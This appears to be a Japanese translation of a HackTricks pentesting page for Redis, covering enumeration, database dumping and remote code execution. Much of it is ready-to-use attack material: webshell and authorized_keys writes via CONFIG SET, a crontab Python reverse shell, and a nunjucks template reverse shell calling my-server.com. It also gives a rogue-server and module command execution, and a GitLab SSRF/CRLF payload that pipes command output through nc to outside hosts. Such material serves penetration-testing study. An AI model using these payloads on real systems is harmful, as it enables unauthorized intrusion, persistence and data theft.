24 KiB
6379 - Redisのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
HackenProofはすべての暗号バグバウンティの場所です。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
基本情報
Redisはオープンソース(BSDライセンス)のインメモリデータ構造ストアであり、データベース、キャッシュ、メッセージブローカーとして使用されます(ここから)。デフォルトで、一般的にRedisはプレーンテキストベースのプロトコルを使用しますが、ssl/tlsも実装できることに注意する必要があります。ここでRedisをssl/tlsで実行する方法を学びましょう。
デフォルトポート: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
自動列挙
Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
マニュアル列挙
バナー
Redisはテキストベースのプロトコルです。コマンドをソケットに送信するだけで、返される値は読み取れます。また、Redisはssl/tlsを使用して実行することもできます(ただし、これは非常に珍しいです)。
通常のRedisインスタンスでは、nc
を使用して接続するか、redis-cli
を使用することもできます。
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
最初に試すことができるコマンドは**info
**です。これはRedisインスタンスの情報を返すか、以下のような情報が返される可能性があります:
-NOAUTH Authentication required.
この最後のケースでは、Redisインスタンスにアクセスするためには有効な資格情報が必要です。
Redisの認証
Redisはデフォルトでは資格情報なしでアクセスできます。ただし、パスワードのみ、またはユーザー名+パスワードをサポートするように設定することもできます。
redis.conf
ファイルのrequirepass
パラメータでパスワードを設定することができます。また、サービスが再起動するまでの間、接続してconfig set requirepass p@ss$12E45
を実行することでも一時的に設定できます。
また、redis.conf
ファイル内のmasteruser
パラメータでユーザー名を設定することもできます。
{% hint style="info" %}
パスワードのみが設定されている場合、使用されるユーザー名は「default」です。
また、Redisがパスワードのみで設定されているのか、ユーザー名+パスワードで設定されているのかは、外部からはわかりません。
{% endhint %}
このような場合、Redisとやり取りするための有効な資格情報を見つける必要がありますので、ブルートフォースを試してみることができます。
有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります。以下のコマンドを使用します:
AUTH <username> <password>
有効な資格情報に対しては、+OK
という応答が返されます。
認証済みの列挙
Redisインスタンスが匿名接続を受け入れているか、有効な資格情報を見つけた場合、以下のコマンドを使用してサービスの列挙を開始できます。
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
他のRedisコマンドはこちらとこちらで見つけることができます。
なお、インスタンスのRedisコマンドはredis.confファイルで名前を変更するか削除することができます。例えば、次の行はFLUSHDBコマンドを削除します。
rename-command FLUSHDB ""
セキュアにRedisサービスを設定する方法については、https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04を参照してください。
また、Redisで実行されるコマンドをリアルタイムで監視するには、**monitor
コマンドを使用するか、最も遅い25件のクエリを取得するにはslowlog get 25
**を使用できます。
Redisの他のコマンドに関する興味深い情報は、https://lzone.de/cheat-sheet/Redisで見つけることができます。
データベースのダンプ
Redis内では、データベースは0から始まる番号で識別されます。コマンドinfo
の出力の「Keyspace」セクションで使用されているかどうかを確認できます。
または、すべてのキースペース(データベース)を取得することもできます。
INFO keyspace
その例では、データベース0と1が使用されています。データベース0には4つのキーが含まれ、データベース1には1つのキーが含まれています。Redisはデフォルトでデータベース0を使用します。たとえば、データベース1をダンプするには、次のようにします:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
もしGET <KEY>
を実行する際に-WRONGTYPE Operation against a key holding the wrong kind of value
というエラーが表示される場合、キーが文字列や整数以外のものであり、特別な演算子を使用して表示する必要があるためです。
キーのタイプを知るためには、TYPE
コマンドを使用します。以下はリストとハッシュキーの例です。
TYPE <KEY>
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
npmを使用してデータベースをダンプする redis-dump またはPython redis-utils
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報奨金を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップ ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
Redis RCE
インタラクティブシェル
redis-rogue-server はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得することができます。
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
情報はこちらから取得できます。ウェブサイトのフォルダのパスを知る必要があります。
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
もしウェブシェルのアクセスが例外的になった場合、バックアップを取った後にデータベースを空にして再試行することができます。データベースの復元を忘れないようにしてください。
テンプレートウェブシェル
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きすることで、シェルを取得することもできます。
例えば、この解説記事を参考にすると、攻撃者がnunjucksテンプレートエンジンによって解釈されるHTMLに逆シェルを注入していることがわかります。
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} 複数のテンプレートエンジンはテンプレートをメモリにキャッシュするため、上書きしても新しいテンプレートは実行されません。この場合、開発者が自動リロードを有効にしたままにしているか、サービスにDoS攻撃を行い(そして自動的に再起動されることを期待して)、それを再起動する必要があります。 {% endhint %}
SSH
config get dir
の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にそれを実行することをお勧めします。 config get dir
の出力には、redisユーザーのホーム(通常は_/var/lib/redis_または_/home/redis/.ssh_)が含まれており、これを知ることで、ssh経由でredisユーザーにアクセスするためのauthenticated_users
ファイルを書き込むことができる場所がわかります。書き込み権限を持つ他の有効なユーザーのホームもわかる場合は、それも悪用することができます:
- PC上でsshの公開-秘密キーペアを生成します:
ssh-keygen -t rsa
- 公開キーをファイルに書き込みます:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- ファイルをRedisにインポートします:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Redisサーバーのauthorized_keysファイルに公開キーを保存します:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- 最後に、プライベートキーを使用してredisサーバーにsshで接続できます:ssh -i id_rsa redis@10.85.0.52
このテクニックはこちらで自動化されています: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
最後の例はUbuntu用ですが、Centosの場合、上記のコマンドは次のようになります:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
この方法はビットコインを稼ぐためにも使用できます:yam
Redisモジュールのロード
- https://github.com/n0b0dyCN/RedisModules-ExecuteCommandの指示に従って、任意のコマンドを実行するRedisモジュールをコンパイルすることができます。
- 次に、コンパイルされたモジュールをアップロードする方法が必要です。
MODULE LOAD /path/to/mymodule.so
を使用して、アップロードしたモジュールをランタイムでロードします。MODULE LIST
を使用して、正しくロードされたかどうかをロードされたモジュールのリストで確認します。- コマンドを実行します:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- 必要に応じてモジュールをアンロードします:
MODULE UNLOAD mymodule
LUAサンドボックスのバイパス
ここでRedisがLuaコードをサンドボックスで実行するためにEVALコマンドを使用していることがわかります。リンク先の投稿では、dofile関数を使用してこれを悪用する方法が示されていますが、おそらくこれはもはや可能ではありません。とはいえ、Luaサンドボックスをバイパスできれば、システム上で任意のコマンドを実行することができます。また、同じ投稿からはDoSを引き起こすためのいくつかのオプションも確認できます。
LUAからの脱出のためのいくつかのCVE:
マスタースレーブモジュール
マスターレディスのすべての操作は自動的にスレーブレディスに同期されるため、脆弱性のあるレディスをスレーブレディスと見なし、自分自身が制御するマスターレディスに接続することができます。その後、自分自身のレディスにコマンドを入力することができます。
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
RedisへのSSRF通信
Redisにクリアテキストリクエストを送信できる場合、Redisと通信することができます。Redisはリクエストを行ごとに読み取り、理解できない行に対してはエラーを返すだけです。
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
したがって、ウェブサイトでSSRF脆弱性を見つけ、いくつかのヘッダー(おそらくCRLF脆弱性を使用して)またはPOSTパラメーターを制御できる場合、任意のコマンドをRedisに送信することができます。
例:Gitlab SSRF + CRLFからシェルへ
Gitlab11.4.7でSSRF脆弱性とCRLFが発見されました。SSRF脆弱性は、新しいプロジェクトを作成する際のURLからプロジェクトをインポートする機能にあり、[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようになっていました(これにより、127.0.0.1にアクセスできます)。また、CRLF脆弱性は、URLに**%0D%0A**文字を追加することで悪用されました。
したがって、これらの脆弱性を悪用して、gitlabからキューを管理するRedisインスタンスと通信し、それらのキューを悪用してコードの実行を取得することが可能でした。Redisキューの悪用ペイロードは次のとおりです:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
そして、whoami
を実行し、nc
を介して出力を送り返すために、SSRFを悪用し、CRLFを使用したURLエンコードされたリクエストは次のとおりです:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
なぜか(この情報は https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ から取得された情報によると)この攻撃はhttp
スキームではなくgit
スキームで動作しました。
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップ ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクションを
- 公式のPEASS&HackTricksグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するためにPRを提出して hacktricks repo と hacktricks-cloud repo に参加しましょう。